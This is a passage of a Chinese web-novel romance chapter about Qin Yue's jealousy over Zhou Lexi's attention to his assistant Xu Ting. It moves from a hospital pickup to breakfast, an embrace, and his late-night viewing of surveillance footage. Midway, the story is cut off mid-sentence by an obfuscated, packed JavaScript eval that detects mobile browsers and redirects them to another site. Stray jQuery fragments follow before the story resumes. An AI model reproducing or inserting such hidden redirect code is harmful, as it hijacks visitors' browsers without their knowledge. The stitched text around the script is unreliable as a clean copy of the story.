“诶对,这不刚下飞机就赶过来了。”
刚一嗓子嚎太大声,于格清咳了两声,他走进去,上下打量许亭:“怎么样,好点了吗?”
许亭:“嗯,多谢于哥,我没事。”
于格站到他和周乐惜中间,抬手拍了拍许亭的肩膀:“你们年轻人就是恢复快,不过今天不急着上班,你再休息休息。”
于格交代完,转身目光温和地对周乐惜道:“对了周小姐,秦总在楼下。”
周乐惜眨眨眼,杏眸露出疑惑:“他怎么也来了?”
许亭只是总裁办的一个小助理,生的也不是大病,于情于理都无需秦越亲自过来探病。
于格唇角噙着恰到好处的微笑:“刚下飞机秦总哪都不去,就吩咐先来医院这边了。”
于格笑着说:“我来给许亭办理出院手续就行。”
“啊行,”周乐惜不疑有他,“那我先下去等你们。”
楼下,司机早已候在车外,看见周乐惜过来,为她打开车门。
周乐惜弯腰坐进后座:“找我有事吗?”
秦越侧首看过来,平日挂在薄唇的浅淡笑意不见了,漆黑的瞳仁深处仿佛透着一股冷光。
小姑娘今天穿了一身淡粉色的裙子,走动间裙摆轻扬,像一朵枝头含露的芍药。
经过这次。
她跟许亭的关系怕是再上一层,眉间又如何不春风得意。
秦越语气平常问她:“今天几点起的床?”
“七点半!”周乐惜记忆犹新,她调了好几个闹钟。
毕竟她一直都是晚睡晚起的人,像今天这么早起已经是学生时代的事情了。
可她要是不早点过来,许亭肯定又像上次那样不打一声招呼就走了。
七点半。
为他,她都没起这么早过。
秦越喉结微动:“这么早就来医院,吃早餐没有?”
由于每天起得晚,周乐惜日常几乎不怎么吃早餐,好在午晚餐她都会按时吃,荤素搭配,营养均衡。
秦越看了眼腕表,已经在思考医院附近有什么合她胃口的早餐店。
周乐惜:“跟许亭在病房里吃过了。”
空气骤然凝固。
就在这时,于格和许亭从住院部大楼走了出来。
周乐惜:“他们来了,我过去一下。”
秦越一把扣住她的手腕,力道不重,却也不容她挣脱:“开车。”
司机应是,发动车子。
“啊?”周乐惜懵了,扭头看回来。
秦越:“于格会送他回去。”
周乐惜:“那让我下车跟许亭打声招呼,我刚刚才跟他说了要送他回家。”
秦越:“许助理独居,你送不方便。”
周乐惜:“……”
怎么就不方便了,她又不是要登堂入室一直送到许亭家里。
周乐惜微微歪头,困惑的视线落在秦越脸上,见他身姿挺拔端坐,神色看起来和往常没什么区别,然而她还是感知到了一丝异样。
不是她足够敏锐,而是她自认为足够了解秦越。
周乐惜动了动唇,想说点什么,可车子已经开远,她又咽了回去。
车内再次陷入沉默。
片刻后,周乐惜轻声开口:“我的车,还在医院……”
看见她眼中的恍然和不安,以及关切分明的眼神,秦越沉默一瞬,语气被她软化:“我让人给你开回家。”
电梯出来,秦越有意放慢步调,让周乐惜走在前面,看着她用自己的面部识别打开这扇大门。
这一刻,门后的空间像是他们共同的家。
进了门,秦越径直朝主卧走去。
周乐惜看着他的背影,知道他下了飞机总要先冲个澡的习惯。
周乐惜又想起车里那番对话,拧眉思索片刻,突然灵光一闪,有了答案。
洗完澡出来看到摆了满桌早餐的秦越:“……”
周乐惜大手一挥:“都是你爱吃的!”
秦越沉默,薄唇扯了扯,似是被气笑。
秦越拉开椅子,却见她转身:“去哪?”
周乐惜指指客厅,秦越家里的沙发很舒服,她喜欢坐在上面玩手机。
秦越轻抬下巴点了点餐桌对面:“坐这里。”
周乐惜:“我吃过早餐了。”
这话似是在提醒什么,秦越嗓音微沉:“坐着陪我。”
听到这句话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179130|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周乐惜更加确认秦越的心情很不好了,吃个早餐都要人陪了,以前也没有这样呀。
周乐惜忧心忡忡地坐了过去,见秦越开始吃早餐,她想了想,还是悄咪咪拿出手机,给于格发了条微信。
[你们在深市的生意谈得不顺利吗?]
于格还没回复,对面冷不丁响起一句:“又在给许亭发信息?”
周乐惜抬头:“不是…是…”
“惜惜。”秦越淡声打断。
他此时此刻,实在不想,从她嘴里听到别的男人的名字。
秦越:“帮我冲杯咖啡。”
姐姐周敏宜很喜欢喝咖啡,于是闲来无事的周乐惜特地去上课,还饶有兴致地学会了拉花。
周晖得知后,立刻给家里购置了全套咖啡设备,盼着也能喝到女儿亲手泡的咖啡。
周乐惜很给老父亲面子。
周晖盯着杯面来回端详,很是满意:“不错,惜惜还知道爸爸属牛,老婆你看,女儿特地给我拉花了牛角。”
周乐惜:“……”
其实是一对蝴蝶翅膀。
秦越家里的厨房虽然不经常使用,但电器设备样样俱全。
周乐惜埋头专心捣鼓,最后一勺奶泡轻巧晕开,一个笑脸出来了。
将咖啡轻轻放到秦越面前,周乐惜腰肢微微侧倾,目光落在秦越微垂的眉眼上。
“哥哥,你今天是不是心情不好呀?”她直接问道。
秦越抬眸看她,薄唇微动:“你在意我心情好不好?”
“那当然了!”周乐惜毫不犹豫地点头,声音里的关切藏不住。
她随即又追问:“是不是深市的生意谈得不顺利?”
“不是。”秦越嗓音平静。
周乐惜:“那是因为什么?”
秦越目光落在她亲手为他泡的杯咖啡上,一张圆滚滚的笑脸正对着他。
“惜惜想哄哥哥开心?”
周乐惜忙不迭点头。
她想让他对她笑,别这么冷冰冰的,她有点怕,也不喜欢看他皱眉。
秦越看着她:“过来。”
周乐惜小步蹭到他身旁。
下一瞬,一条结实的手臂从身后环住她的腰肢,把她横抱了过去。
周乐惜小声轻呼:“哥哥……?”
“别说话。”
男人嗓音喑哑,宽大的手掌托住她的后脑勺,将她按向自己胸口。
似是不想让她看到他眼中压不住的浓烈醋火。
两个人的体形差摆在这,周乐惜几乎被包裹进他的怀抱。
男人健硕的肩膀仿佛高墙,将她严严实实地圈在怀中。
周乐惜闻到了熟悉的清洌气息,带着沐浴后的舒爽薄荷味。
他的胸膛一片坚硬,周乐惜脸贴得不舒服,微微仰头,试图挪动。
而且她的胸口也被挤压着,闷闷的。
“别乱动。”
耳畔传来的嗓音沉了几分,手臂收得更紧。
周乐惜不动了。
但抱着抱着,周乐惜又觉得有些热,耳朵好像也在微微发烫,被他掌心包拢的后腰也有点痒。
记得小时候,她哭了,秦越也是这么把她抱在腿上,一边轻拍她后背低声安慰,一边用袖子给她擦眼泪。
长大后,他已经很久没这样抱过她。
但周乐惜只在一开始身体僵硬了一瞬,秦越的怀抱是她熟悉的地方,她很快就放松下来。
如果拥抱有力量,能让他心情变好,她愿意让他抱。
-
深夜,万籁俱寂。
客厅没开灯,沉浸在暗色,窗外是城市的霓虹灯火,与室内形成两个互不相融的世界。
秦越独自倚在沙发,指尖缓缓摩挲着酒杯,手机屏幕亮起,一则监控视频发了过来。
男人薄唇贴着杯口,喉结滑动,沉默片刻后,点开了视频。
画面切入医院的急诊区。
第三秒,周乐惜和许亭同时入镜。
明明那么娇小,却一手虚扶对方手肘,一手护在他的后背,两个人肩膀相贴。
高清镜头下,小姑娘脸上的紧张与担忧清晰可见。
秦越眼神发冷,喉咙发紧。
却自虐似的,继续观看。
她将他安置在候诊椅上,俯身,乌黑的发梢扫过他的手背。
她对他交代了什么,转身走向护士站,他独自坐在椅子里,面色是青白的病态感。
可当他的视线投向她的背影时,那双沉寂的眼眸却渐渐泛起光泽。
急诊大厅人来人往。
他视若无睹,目光坚定穿过喧嚣人群,精准锁定。
那双平日沉默寡言的眼睛。
此刻满眼都是她。